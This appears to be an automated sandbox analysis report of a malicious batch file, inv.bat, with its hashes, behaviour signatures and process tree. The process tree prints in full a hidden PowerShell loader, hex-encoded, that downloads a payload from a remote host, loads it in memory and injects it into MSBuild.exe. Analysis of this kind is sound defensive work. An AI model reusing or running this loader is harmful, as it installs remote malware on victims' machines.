Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
31/03/2026, 13:18
Static task
static1
Behavioral task
behavioral1
Sample
inv.bat
Resource
win10v2004-20260130-en
7 signatures
150 seconds
General
- Target inv.bat
- Size 554KB
- Sample260331-qj13csax9j
- SHA256 7a2cb732e58e653ebc09553930861bc08d76875cb8d2d1b0c87565282e74eaa5
- MD5 bbcb23acb89e803dd2146e94194ac8db
- SHA1 d5855f80a202b82e6374a372f30a152b46227909
- SHA512 e1106541c3958291bd9f926e74b04bcc4c84735b66ae40dd1a6c890b0617a4e4790c1ebb7382e844cf0b6b232be91048fe76cc3d2345354da72fe40afe21a681
- SSDEEP 12288:HUUUULUUUUoUUUUoUUUUoUUUU+UUUUlUUUU7UUUUyUUUULUUUUoUUUUfUUUUoUUR:HUUUULUUUUoUUUUoUUUUoUUUU+UUUUlY
- TLSH T196C45C3195FB412238D6287E19CF9533B56AFB580E676B70B40115EF079EB063DE6B20
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4740 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4740 powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4740 set thread context of 3572 4740 powershell.exe 88 - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4740 powershell.exe Token: SeDebugPrivilege 3572 MSBuild.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3876 wrote to memory of 2756 3876 cmd.exe 81 PID 3876 wrote to memory of 1368 3876 cmd.exe 82 PID 1368 wrote to memory of 4740 1368 conhost.exe 83 PID 4740 wrote to memory of 4332 4740 powershell.exe 84 PID 4740 wrote to memory of 3572 4740 powershell.exe 88 PID 4740 wrote to memory of 3572 4740 powershell.exe 88 PID 4740 wrote to memory of 3572 4740 powershell.exe 88 PID 4740 wrote to memory of 3572 4740 powershell.exe 88 PID 4740 wrote to memory of 3572 4740 powershell.exe 88
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\inv.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3876 -
C:\Windows\system32\chcp.comchcp 650012⤵PID:2756
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C:\Windows\system32\conhost.execonhost.exe --headless "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -Exec Bypass -Command "$h='24736163636861726F6C797469633D2768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F4D53495F3035343630302E706E67273B0D0A24726164696F6772617068793D4E65772D4F626A656374204E65742E576562436C69656E743B0D0A246D6172747972646F6D733D24726164696F6772617068792E446F776E6C6F6164446174612824736163636861726F6C79746963293B0D0A246E616E6F736C69743D5B546578742E456E636F64696E675D3A3A555446382E476574537472696E6728246D6172747972646F6D73293B0D0A244D6972616E64697A65643D27494E2D273B0D0A2473616C75746172656D3D272D696E31273B0D0A246272657461733D246E616E6F736C69742E496E6465784F6628244D6972616E64697A6564293B0D0A24756E616C6C6961626C653D246E616E6F736C69742E4C617374496E6465784F66282473616C75746172656D293B0D0A69662824627265746173202D6571202D31202D6F722024756E616C6C6961626C65202D6571202D31297B0D0A72657475726E7D0D0A3B0D0A2461646A7573746F72733D246272657461732B244D6972616E64697A65642E4C656E6774683B0D0A2473636973736F7269756D3D246E616E6F736C69742E537562737472696E67282461646A7573746F72732C24756E616C6C6961626C652D2461646A7573746F7273293B0D0A2468756C6C6F636B3D2473636973736F7269756D2E5265706C616365282723272C274127292E546F43686172417272617928293B0D0A5B41727261795D3A3A52657665727365282468756C6C6F636B293B0D0A2461706C7973696F707572707572696E3D2468756C6C6F636B202D6A6F696E2027273B0D0A5B627974655B5D5D24696E73616C75746172793D5B436F6E766572745D3A3A46726F6D426173653634537472696E67282461706C7973696F707572707572696E293B0D0A2468657465726F646F786C793D5B417070446F6D61696E5D3A3A43757272656E74446F6D61696E2E4C6F61642824696E73616C7574617279293B0D0A246865616464726573733D40282768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F696D675F3036303531352E706E67272C2730272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C274D534275696C64272C27272C274D534275696C64272C2730272C2755524C272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C27626174272C2735272C2731272C27505034633432544A5741272C2730272C27272C27272C2727293B0D0A7472797B0D0A2473796D70686F6E696F75733D2468657465726F646F786C792E47657454797065282746696265722E50726F6772616D27293B0D0A24464C4F53533D2473796D70686F6E696F75732E4765744D6574686F6428274D61696E27293B0D0A24464C4F53532E496E766F6B6528246E756C6C2C5B6F626A6563745B5D5D24686561646472657373297D0D0A63617463687B0D0A7D0D0A';$b=for($i=0;$i -lt $h.Length;$i+=2){[Convert]::ToByte($h.Substring($i,2),16)};IEX([System.Text.Encoding]::UTF8.GetString($b))"2⤵
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoP -W Hidden -Exec Bypass -Command "$h='24736163636861726F6C797469633D2768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F4D53495F3035343630302E706E67273B0D0A24726164696F6772617068793D4E65772D4F626A656374204E65742E576562436C69656E743B0D0A246D6172747972646F6D733D24726164696F6772617068792E446F776E6C6F6164446174612824736163636861726F6C79746963293B0D0A246E616E6F736C69743D5B546578742E456E636F64696E675D3A3A555446382E476574537472696E6728246D6172747972646F6D73293B0D0A244D6972616E64697A65643D27494E2D273B0D0A2473616C75746172656D3D272D696E31273B0D0A246272657461733D246E616E6F736C69742E496E6465784F6628244D6972616E64697A6564293B0D0A24756E616C6C6961626C653D246E616E6F736C69742E4C617374496E6465784F66282473616C75746172656D293B0D0A69662824627265746173202D6571202D31202D6F722024756E616C6C6961626C65202D6571202D31297B0D0A72657475726E7D0D0A3B0D0A2461646A7573746F72733D246272657461732B244D6972616E64697A65642E4C656E6774683B0D0A2473636973736F7269756D3D246E616E6F736C69742E537562737472696E67282461646A7573746F72732C24756E616C6C6961626C652D2461646A7573746F7273293B0D0A2468756C6C6F636B3D2473636973736F7269756D2E5265706C616365282723272C274127292E546F43686172417272617928293B0D0A5B41727261795D3A3A52657665727365282468756C6C6F636B293B0D0A2461706C7973696F707572707572696E3D2468756C6C6F636B202D6A6F696E2027273B0D0A5B627974655B5D5D24696E73616C75746172793D5B436F6E766572745D3A3A46726F6D426173653634537472696E67282461706C7973696F707572707572696E293B0D0A2468657465726F646F786C793D5B417070446F6D61696E5D3A3A43757272656E74446F6D61696E2E4C6F61642824696E73616C7574617279293B0D0A246865616464726573733D40282768747470733A2F2F7661756C743838782E7365637572652D656666696369656E74322E73752F696D675F3036303531352E706E67272C2730272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C274D534275696C64272C27272C274D534275696C64272C2730272C2755524C272C27433A5C55736572735C5075626C69635C272C27454B4D59414B7243524A272C27626174272C2735272C2731272C27505034633432544A5741272C2730272C27272C27272C2727293B0D0A7472797B0D0A2473796D70686F6E696F75733D2468657465726F646F786C792E47657454797065282746696265722E50726F6772616D27293B0D0A24464C4F53533D2473796D70686F6E696F75732E4765744D6574686F6428274D61696E27293B0D0A24464C4F53532E496E766F6B6528246E756C6C2C5B6F626A6563745B5D5D24686561646472657373297D0D0A63617463687B0D0A7D0D0A';$b=for($i=0;$i -lt $h.Length;$i+=2){[Convert]::ToByte($h.Substring($i,2),16)};IEX([System.Text.Encoding]::UTF8.GetString($b))"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *.bat "C:\Users\Public\EKMYAKrCRJ.bat"4⤵
- System Location Discovery: System Language Discovery
PID:4332
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3572
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C:\Windows\system32\wscript.exewscript.exe1⤵PID:3672
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cozzksb1.zdi.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH